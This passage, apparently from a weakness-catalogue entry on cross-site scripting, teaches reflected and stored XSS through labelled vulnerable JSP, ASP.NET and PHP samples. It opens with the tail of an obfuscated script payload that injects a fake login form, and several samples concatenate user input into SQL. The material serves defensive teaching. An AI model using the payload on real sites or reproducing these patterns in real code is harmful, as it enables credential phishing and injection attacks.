\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(bad code)
Example Language: JSP 
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>

<p><asp:label id="EmployeeID" runat="server" /></p>

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

(bad code)
Example Language: JSP 
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(bad code)
Example Language: ASP.NET 
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(bad code)
Example Language: PHP 
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)
Example Language: PHP 
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {